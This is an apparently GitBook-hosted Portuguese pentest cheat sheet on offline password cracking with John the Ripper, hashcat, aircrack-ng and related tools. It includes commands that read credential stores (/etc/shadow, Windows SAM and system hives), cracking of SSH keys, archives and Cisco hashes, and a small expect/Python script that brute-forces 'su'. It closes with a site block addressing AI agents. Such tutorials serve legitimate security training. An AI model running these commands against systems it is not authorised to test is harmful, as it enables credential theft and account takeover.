# Offline Geralmente encontramos senhas e/ou outras credenciais em SO, interceptações e em bancos de dados. Provavelmente a senha será um hash e, portanto, precisamos primeiro identificar qual é o hash e depois tentar decifrá-lo. Os hash podem ser identificados por informações como: * O comprimento do hash * Conjunto de caracteres * Quaisquer caracteres especiais Podemos também utilizar ferramentas como `hashid` e `hash-identifier` (vide na sessão de criptografia) para identificar alguns hashes. ### ### Quebrando WPA-2 (Handshake) ```bash aircrack-ng -a 2 -w ``` ### ### John The Ripper #### Docker Caso não tenha o John dispinível, utilize o comando abaixo para iniciar via Docker: ```bash sudo docker run -it -v $(pwd):/home/john/examples nbaars/john-the-ripper ``` #### Unshadow Antes de começar, vá no terminal e jogue as senhas para um único arquivo: ```bash unshadow /etc/passwd /etc/shadow >> senhas.db ``` #### Modo gráfico Para abrir o JTR em modo gráfico, basta executar o comando `johnny`. #### Quebrando Senhas ```bash # Modo simples do John john senhas.db # Pesquisando em dois arquivos ao mesmo tepo # OBS.: Caso os hashes dos arquivos sejam diferentes, o John pode não conseguir processar john --single # Para que o John ignore contas que não tenham acesso ao shell (em caso de hash linux) john --show --shells=-/bin/false # Caso queria utilizar uma Wordlist, utilize o seguinte comando # OBS.: Se você utilizar novamente o comando acima para quebrar uma senha que já foi quebrada, irá devolver mensagem que não foi possível quebrar a senha john --wordlist=wordlist.txt # O John armazena as senhas que já foram quebradas. Para visualizar quais senhas já foram quebradas, utilize o seguinte comando john --show # Caso queira utilizar um arquivo específico com uma senha em MD5 john hash.txt --format=md5crypt john --wordlist=wordlist.txt --format=Raw-MD5 # Quebrando SHA1 john --wordlist=wordlist.txt --format=Raw-SHA1 # Listando os tipos de "format" john --list=formats # Testar chaves john --test ``` #### Quebrando Senhas em Arquivos DOC ```bash python office2john.py > john --wordlist= ``` #### Sessions JTP salva seu progress em sessões. Mesmo dando `CTRL` + `C`, ele continua em background ```bash john --format=raw-md5 --session= ``` Restaurando a sessão salva com `--session-` ```bash john --restore= ``` **OBS.:** Utilize o comando restore no mesmo diretório onde utilizou o comando `--session-`, pois irá ser criados dois arquivos com extensões `.log` e `.rec`. #### Rules ```bash # Utiliza variantes de cada palavras da wordlist john --wordlist= --rules # Pega uma wordlist atual e adiciona uma regra a ela, como por exemplo adicionar números no início, meio ou fim john --rules=Single --wordlist= --stdout # Para criar uma própria regra (rule), edite o arquivo /etc/john/john.conf e adicione essa seguinte linha [List.Rules:MinhaRegra] $[@]$[2]$[0]$[0-1]$[1-9] john --rules=MinhaRegra --wordlist= --stdout ``` **OBS.:** Com essa regra, será adicionado `@20xx` no final de cada palavra da wordlist. Caso queira adicionar no início da palavra, use o `^` ao invés do `$` #### Incremental ```bash # Utiliza incrementadores (com letras e números) até achar a senha john --incremental # Igual o comando acima, porém este define que a senha é do tipo MD5 john --incremental format=raw-md5 # Mostra a saída do incrental com no máximo 4 caracteres, útil para criar arquivos para realizar quebra de senhas john --incremental --stdout=4 # O mesmo que a saída anterior, porém este só terá dígitos. john --incremental=Digits --stdout=4 # O mesmo que a saída anterior, porém este será alfanumérico. john --incremental=alnum --stdout=4 # O mesmo que a saída anterior, porém este será alfanumérico mas somente com letras maiúsculas. john --incremental=LanMan --stdout=4 ``` **OBS.:** Pode se utilizar mais opções para o `--increment`, como `alnum`. Ver em `/etc/john/john.conf` as demais opções ### HashCat Procurando tipos de hash para o hashcat quebrar. Utilize um `grep` para ajudar na localização ```bash hashcat --example-hashes ``` #### Quebrando Senhas UNIX {% hint style="warning" %} **DICA**: Algumas vezes o Hashcat retorna erro "Already an instance running on pid 5". Para corrigir, execute o comando: **`rm -rf ~/.hashcat/sessions/hashcat.pid`** {% endhint %} ```bash hashcat -m 1800 ``` A opção `-m 1800` equivale a senhas SHA-512 (Unix). Utilize a opção `-h` (help) para ver a lista de códigos completa.\ O arquivo `hash.txt` contém o hash salvo. Para quebrar uma senha UNIX, devemos remover alguns valores da hash, como no exemplo abaixo: ```bash # HASH ORIGINAL DO ARQUIVO /etc/passwd visit:$6$tRymH4k.$G9XBOrE2hQTsJO3tZ0R0/uo8Y4GQNEQdSzyHL9S5osZufEKxEB00obJ.BiY0qcRCwKkG7IqDGQP9yRb9ahqK4.:17022:0:99999:7::: # HASH MODIFICADA PARA O HASHCAT CONSEGUIR QUEBRAR $6$tRymH4k.$G9XBOrE2hQTsJO3tZ0R0/uo8Y4GQNEQdSzyHL9S5osZufEKxEB00obJ.BiY0qcRCwKkG7IqDGQP9yRb9ahqK4 ``` #### Brute Force Tentando diversas senhas sem a utilização de uma wordlist. No exemplo abaixo estamos utilizando 6 caracteres, sendo cada caracter (letras minúsculas/maiúsculas, números e caracteres especiais) representado pelo `?a`. Vide tabela abaixo para saber qual parâmentro utilizar. ```bash hashcat -m -a 3 ?a?a?a?a?a?a ``` | PARÂMETRO | CHARS | | --------- | -------------------------------------------- | | `?l` | abcdefghijklmnopqrstuvwxyz | | `?u` | ABCDEFGHIJKLMNOPQRSTUVWXYZ | | `?d` | 0123456789 | | `?h` | 0123456789abcdef | | `?H` | 0123456789ABCDEF | | `?s` | «space»!"#$%&'()\*+,-./:;<=>?@\[]^\_\`{\|}\~ | | `?a` | ?l?u?d?s | | `?b` | 0x00 - 0xf | Caso prefira, também é possível selecionar os determinados de caracteres que irão fazer parte do Brute Force. No exemplo abaixo, selecionamos os caracteres `abcdefgABCDEF1234!@#$`, mas sinta-se a vontade para adicionar ou remover caracteres. ```bash hashcat -a3 -m -1 $(echo 'abcdefgABCDEF1234!@#$') ?1?1?1?1?1?1 --force ``` #### Adicionando Prefixo e Posfixo nas Palavras Adiciona o ano no final das palavras do wordlist ```bash hashcat -a 0 -m 1000 -r rules\add-year.rule ``` Primeira letra maiúscula seguida de 7 letras minúsculas e número no final ```bash hashcat -a 3 -m 1000 ?u?l?l?l?l?l?l?l?d ``` Semelhante ao comando anterior, porém nesse, o final será caracteres esepcias e números, ao invés de somente números ```bash hashcat -a 3 -m 1000 ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ``` Podemos também criar arquivos com regras específicas, como no exemplo abaixo, onde teremos regras para diferentes tamanhos: ```bash ?d?s,?u?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?l?1 ``` Também podemos trabalhar com prefixos, sendo útil em muitos casos, já que as pessoas costumam utilizar nas suas senhas, nomes de empresas, parceiros, filhos, animais de estimação, etc. No exemplo abaixo estou utilizando o nome `Mysther` como prefixo, então ajuste para o seu cenário. ```bash Mysher?d Mysher?d?d Mysher?d?d?d Mysher?d?d?d?d ?dMysher ?d?dMysher ?d?d?dMysher ?d?d?d?dMysher ``` Para utilizarmos nossa regra personalizada, basta executar: ```bash hashcat -a 3 -m 1000 ``` #### Combinator Junta as palavras de duas wordlist. No exemplo do comando abaixo, irá pegar uma palavra de `wordlist-1.txt`, adicionar um `-`, depois uma palavra de `wordlist-2.txt` e para finalizar, uma `!`. ```bash hashcat -a 1 -m 1000 -j $- -k $! ``` #### Híbrido Utilizando a opção `-a 6`, iremos anexar valores a uma wordlist. Para exemplo abaixo, considere que sua wordlist contém a palavra `Senha`, então o hashcat irá tentar de `Senha0000` até `Senha9999` ```bash hashcat -a 6 -m 1000 ?d?d?d?d ``` Caso queira que os números fiquem antes da palavra, ficando de `0000Senha` à `9999Senha`, utilize a opção `-a 7`, ficando da seguinte maneira: ```bash hashcat -a 7 -m 1000 ?d?d?d?d ``` #### kwprocessor Existe um utilitário externo que fica separado do Hashcat principal, chamado `kwprocessor` (deve ser baixado manualmente). Este, é um utilitário para gerar senhas `key-walk`, que são senhas baseadas nas sequências das teclas do computador, por exemplo `qwerty` e `1q2w3e4r`. Com o kwprocessor, podemos definir as direções e o tipo de teclado para gerar uma wordlist. ```bash1 kwp64 basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o ``` #### NTLM (Windows) ``` hashcat -m 1000 ``` #### Tipos de Ataques | ATAQUE | DESCRIÇÃO | | -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `Combination` | Usa mais do que um dicionário para fazer a quebra. Se você possui 1 dicionário com 50 palavras e no outro 100, então ele irá mesclar esses 2 dicionários, criando então uma lista com 50 \* 100 = 5000 palavras | | `Table-Lookup` | Este modo de ataque também é baseado em dicionários, porém você pode adicionar caracteres a serem substituídos em seus dicionários, por exemplo: `a=A` ou `a=@` ou `e=3` | | `Toggle-case` | Este método utiliza todas as letras maiúsculas e minúsculas de um dicionário. Por exemplo, vamos usar a palavra test. Neste caso ele irá tentar as seguintes combinações: `Test`, `tEst`, `teSt` e `tesT` | | `Permutation` |

Esta técnica não funciona muito bem, mas caso um dia precise, está aqui para usá-la. Com este modo, você inverte caracteres de posição, por exemplo, usaremos a palavra pass123:

pass123, pass321, 1pass23, 3pass21, 32pass1, 21pass, etc.

| | `Brute Force` | Ataque baseado em máscara, você define as regras de ataques e ele executa de acordo com a máscara que você selecionou. Ex: admin123 onde você queira que cada número seja entre 0 e 9 | | `Straight` | Opção básica e simples. Você seta uma wordlist e a hash a ser quebrada | ### Windows Caso tenha acesso aos arquivos do Windows, pegue os o arquivo de registro `system` e o `SAM`. Esses dois arquivos provavelmente está em um dos seguintes locais: ```bash # SAM %SYSTEMROOT%\repair\SAM windows\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM # system SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\RegBack\system ``` Caso consiga os dois arquivos mencionados acima, podemos gerar um hash com o comando: ```bash pwdump system sam ``` ### SSH (RSA) Esse tipo de ataque pode ser feito quando temos uma chave SSH criptografada como no exemplo abaixo: ``` -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46 DbPrO78k... ... ... ... GHJE8MkhD3 -----END RSA PRIVATE KEY----- ``` {% hint style="info" %} **DICA**: Antes de executar o comando abaixo, verifique se o comando**`ssh2john`** está disponível, e caso não esteja, verifique se o script pode ser encontrado em **`/usr/share/john/ssh2john.py`** {% endhint %} ```bash # Gerando o hash da chave ssh2john.py > # Realizando brute force john --fork=4 -w= ``` ### findmyhash Quebrando senhas utilizando serviços online. Note que precisamos antes do hash para que seja quebrado, por isso, mesmo utilizando serviços online, este é considerado um Brute Force Offline, pois não estamos acessando diretamente o alvo para realizar o cracking ```bash findmyhash MD5 -h ``` ### PDF ``` pdfcrack -w ``` ### Zip #### fcrackzip ```bash fcrackzip -u -v -D -p '' '' ``` #### John the Ripper ```bash zip2john > output_hash john --wordlist= output_hash ``` #### Hashcat ```bash hashcat -a 0 -m 13600 ``` ### XLS / XLSX ```bash python office2john.py > john --rules --wordlist= ``` ### SuCrack Este apesar de ser um brute force offline, é preciso ter acesso ao terminal do Linux, seja ele no seu próprio host ou em um host remoto. Basicamente, vai tentar quebrar a senha de outros usuários, através do comando `su`, porém de uma forma automatizada. ```bash ./sucrack -a -w 20 -s 10 -u ``` #### Script Personalizado Obviamente, nem sempre podemos contar com o uso desse script, então podemos criar um script próprio para realizar a mesma tarefa que o SuCrack. Crie um arquivo chamado `xpl.sh` com o seguinte código (altere `` pelo usuário em questão): ```bash #!/usr/bin/expect -f log_user 0 set password [lindex $argv 0] spawn /bin/su -c whoami expect "Password:" send "$password\r" interact ``` Agora crie um arquivo chamado `xpl.py` com o seguinte código: ```bash #!/usr/bin/python import sys, subprocess with open(sys.argv[2], 'r') as ins: for line in ins: print "Trying Password: " + str(line) if sys.argv[1] in subprocess.check_output(['./xpl.sh', str(line)]): print "Password: " + str(line) exit(0) count += 1 ``` Agora bastar dar acesso de execução para ambos os arquivos e chamá-lo ```bash chmod +x xpl.sh xpl.py ./xpl.py ``` ### CISCO #### Cisco IOS Enable 5 Essas senhas do Cisco são baseadas em MD5 com Salt. No arquivo `config.txt` (ou `config.text`), iremos achar uma linha parecida com essa: ``` username cisco-admin secret 5 $1$.vTq$m3rHbbqITE.sxlHB0K5ca/ ``` Pegando como exemplo, vamos utilizar o hash `$1$.vTq$m3rHbbqITE.sxlHB0K5ca/` para quebrar.\ **OBS.:** Note que antes da hash tem o número `5`, que indica que a senha foi misturada usando o algoritmo MD5 mais potente.\ O hash é dividido em 3 partes, que estão separadas por um `$`. ```bash # Parte 1 = Indica que o hash se trata de um MD5 1 # Parte 2 = Salt utilizado para gerar a senha .vTq # Parte 3 = Hash da senha m3rHbbqITE.sxlHB0K5ca/ ``` Agora para quebrar vamos utilizar o seguinte comando: ```bash openssl passwd -1 -salt -table -in | grep ``` **OBS.:** A senha nesse caso é `cisco`, então utilize essa senha na wordlist para fins de teste. #### Cisco IOS Enable 7 A versão 7 possui um hash fácil de quebrar e, assim como a versão 5, está localizado no arquivo `config.txt` (ou `config.text`). Nele iremos acha uma linha parecida com o trecho abaixo: ``` username rout3r password 7 0242114B0E143F015F5D1E161713 ``` No final desse artigo possui um site para quebrar esse hash. #### ### Sites ```bash # Quebra hashes https://hashkiller.io/leaks https://crackstation.net/ # Identifica o tipo de Hash https://md5hashing.net/hash_type_checker https://www.onlinehashcrack.com/hash-identification.php # Kwprocessor https://github.com/hashcat/kwprocessor.git # SuCrack https://github.com/hemp3l/sucrack # Quebrar senha Cisco (Enable 5) http://www.ifm.net.nz/cookbooks/cisco-ios-enable-secret-password-cracker.html # Quebrar senha Cisco (Enable 7) http://www.ifm.net.nz/cookbooks/passwordcracker.html ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://mysther.gitbook.io/knowledge-base/ataques/brute-force/offline.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.